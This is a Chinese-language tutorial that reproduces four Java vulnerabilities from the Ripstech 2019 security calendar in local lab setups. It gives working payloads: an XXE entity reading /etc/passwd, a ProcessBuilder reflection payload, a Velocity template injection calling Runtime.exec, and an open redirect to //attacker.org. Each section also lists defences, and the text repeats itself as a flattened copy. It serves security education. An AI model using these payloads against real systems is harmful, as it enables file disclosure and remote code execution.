Ripstech Java Security 2019 Calendar复现系列(一)
字数 1509 2025-08-25 22:58:56

Java安全漏洞复现与分析:Ripstech Java Security 2019 Calendar系列

1. XXE漏洞之SAXBuilder解析

漏洞原理

SAXBuilder.build()函数易受XXE攻击,当解析恶意构造的XML文件时,可能导致敏感信息泄露或服务器端请求伪造。

漏洞代码分析

  • 漏洞类:ImportDocument
  • 关键函数:org.jdom2.input.SAXbuilder.build()
  • 攻击路径:
    1. 从"uploaded_office_doc.odt"文件中读取内容(实际为ZIP格式)
    2. 遍历ZIP文件中所有文件,查找content.xml
    3. 使用SAXBuilder解析content.xml文件

复现步骤

  1. 环境准备:IDEA + Maven
  2. 添加测试类:
package com.ananaskr.day1;
import org.jdom2.JDOMException;
import java.io.IOException;

public class TestDay1 {
    public static void main(String[] args) throws IOException, JDOMException {
        ImportDocument test = new ImportDocument();
        System.out.println(test.extractString());
    }
}
  1. 构造恶意.odt文件:
    • 创建content.xml:
<?xml version="1.0" ?>
<!DOCTYPE foo [
    <!ELEMENT text ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
  • 将content.xml打包为ZIP并重命名为uploaded_office_doc.odt
  1. 执行结果:成功读取/etc/passwd文件内容

防御措施

  • 禁用DTD和外部实体
  • 使用安全配置的XML解析器

2. 任意对象实例化漏洞

漏洞原理

通过控制JSON输入参数,可以实例化任意类并调用其方法,导致任意代码执行。

漏洞代码分析

  • 漏洞类:MainController
  • 攻击参数:
    • controllerName:控制要实例化的类
    • task:控制要调用的方法
    • data:方法参数

复现步骤

  1. 环境准备:IDEA + Maven
  2. 添加测试类:
package com.ananaskr.day2;
import java.io.IOException;

public class day2 {
    public static void main(String[] args) throws IOException {
        String rawJson = "{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"touch\",\"hacked.jsp\"]}";
        MainController con = new MainController(rawJson);
    }
}
  1. 构造payload:
{
    "controller": "java.lang.ProcessBuilder",
    "task": "start",
    "data": ["touch", "hacked.jsp"]
}
  1. 执行结果:成功创建hacked.jsp文件

防御措施

  • 限制可实例化的类白名单
  • 避免直接反射调用用户控制的类和方法

3. Velocity模板注入漏洞

漏洞原理

Velocity模板引擎在运行时动态解析模板语言,当用户输入被直接作为模板解析时,可导致代码注入。

漏洞代码分析

  • 关键函数:velocity.evaluate()
  • 攻击参数:fragment参数(用户可控)
  • 限制:不能直接执行Java代码,需使用反射机制

复现步骤

  1. 环境准备:IDEA + maven-archetype-webapp

  2. 修正代码:

    • 移除final关键字
    • 为render函数添加返回值
  3. 添加Servlet类:

package com.ananaskr.day3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class day3 extends HttpServlet {
    public void init() throws ServletException{}
    
    public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{
        TemplateRenderer temp = new TemplateRenderer();
        temp.render(req,res);
    }
    
    public void destroy(){}
}
  1. 配置web.xml:
<servlet>
    <servlet-name>TemplateRenderer</servlet-name>
    <servlet-class>com.ananaskr.day3.Day3</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>TemplateRenderer</servlet-name>
    <url-pattern>/day3</url-pattern>
</servlet-mapping>
  1. 构造payload:
user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass

URL编码后:

http://localhost:8080/day31/day3?user=&temp=%23set%28%24s%3D%22%22%29%23set%28%24stringClass%3D%24s.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22touch%20hacked.jsp%22%29%29%24stringClass
  1. 执行结果:成功创建hacked.jsp文件

防御措施

  • 对用户输入进行严格过滤
  • 使用沙箱环境运行模板引擎
  • 限制可调用的Java类和方法

4. 开放重定向漏洞

漏洞原理

URL参数未正确验证,导致可以构造恶意URL进行重定向攻击。

漏洞代码分析

  • 漏洞点:url参数可控
  • 绕过技巧:startsWith("/")检查可被//attacker.org绕过
  • 重定向函数:sendRedirect()

复现步骤

  1. 环境准备:IDEA + maven-archetype-webapp
  2. 修正代码:添加异常处理
  3. 配置web.xml:
<servlet>
    <servlet-name>login</servlet-name>
    <servlet-class>com.ananaskr.day4.Login</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>login</servlet-name>
    <url-pattern>/login</url-pattern>
</servlet-mapping>
  1. 构造payload:
    POST内容:
url=//attacker.org
  1. 执行结果:重定向到http://attacker.org

防御措施

  • 严格验证重定向URL
  • 使用白名单机制限制重定向目标
  • 避免使用用户提供的URL进行重定向

总结

本系列漏洞展示了Java应用中常见的安全问题:

  1. XXE漏洞:源于不安全的XML解析配置
  2. 任意对象实例化:源于不安全的反射使用
  3. 模板注入:源于用户输入直接作为代码执行
  4. 开放重定向:源于不完善的URL验证

防御这些漏洞的关键在于:

  • 永远不要信任用户输入
  • 使用最小权限原则
  • 实施严格的输入验证和输出编码
  • 保持框架和库的最新版本
Java安全漏洞复现与分析:Ripstech Java Security 2019 Calendar系列 1. XXE漏洞之SAXBuilder解析 漏洞原理 SAXBuilder.build()函数易受XXE攻击,当解析恶意构造的XML文件时,可能导致敏感信息泄露或服务器端请求伪造。 漏洞代码分析 漏洞类: ImportDocument 关键函数: org.jdom2.input.SAXbuilder.build() 攻击路径: 从"uploaded_ office_ doc.odt"文件中读取内容(实际为ZIP格式) 遍历ZIP文件中所有文件,查找content.xml 使用SAXBuilder解析content.xml文件 复现步骤 环境准备:IDEA + Maven 添加测试类: 构造恶意.odt文件: 创建content.xml: 将content.xml打包为ZIP并重命名为uploaded_ office_ doc.odt 执行结果:成功读取/etc/passwd文件内容 防御措施 禁用DTD和外部实体 使用安全配置的XML解析器 2. 任意对象实例化漏洞 漏洞原理 通过控制JSON输入参数,可以实例化任意类并调用其方法,导致任意代码执行。 漏洞代码分析 漏洞类: MainController 攻击参数: controllerName:控制要实例化的类 task:控制要调用的方法 data:方法参数 复现步骤 环境准备:IDEA + Maven 添加测试类: 构造payload: 执行结果:成功创建hacked.jsp文件 防御措施 限制可实例化的类白名单 避免直接反射调用用户控制的类和方法 3. Velocity模板注入漏洞 漏洞原理 Velocity模板引擎在运行时动态解析模板语言,当用户输入被直接作为模板解析时,可导致代码注入。 漏洞代码分析 关键函数: velocity.evaluate() 攻击参数: fragment 参数(用户可控) 限制:不能直接执行Java代码,需使用反射机制 复现步骤 环境准备:IDEA + maven-archetype-webapp 修正代码: 移除final关键字 为render函数添加返回值 添加Servlet类: 配置web.xml: 构造payload: URL编码后: 执行结果:成功创建hacked.jsp文件 防御措施 对用户输入进行严格过滤 使用沙箱环境运行模板引擎 限制可调用的Java类和方法 4. 开放重定向漏洞 漏洞原理 URL参数未正确验证,导致可以构造恶意URL进行重定向攻击。 漏洞代码分析 漏洞点: url 参数可控 绕过技巧: startsWith("/") 检查可被 //attacker.org 绕过 重定向函数: sendRedirect() 复现步骤 环境准备:IDEA + maven-archetype-webapp 修正代码:添加异常处理 配置web.xml: 构造payload: POST内容: 执行结果:重定向到http://attacker.org 防御措施 严格验证重定向URL 使用白名单机制限制重定向目标 避免使用用户提供的URL进行重定向 总结 本系列漏洞展示了Java应用中常见的安全问题: XXE漏洞:源于不安全的XML解析配置 任意对象实例化:源于不安全的反射使用 模板注入:源于用户输入直接作为代码执行 开放重定向:源于不完善的URL验证 防御这些漏洞的关键在于: 永远不要信任用户输入 使用最小权限原则 实施严格的输入验证和输出编码 保持框架和库的最新版本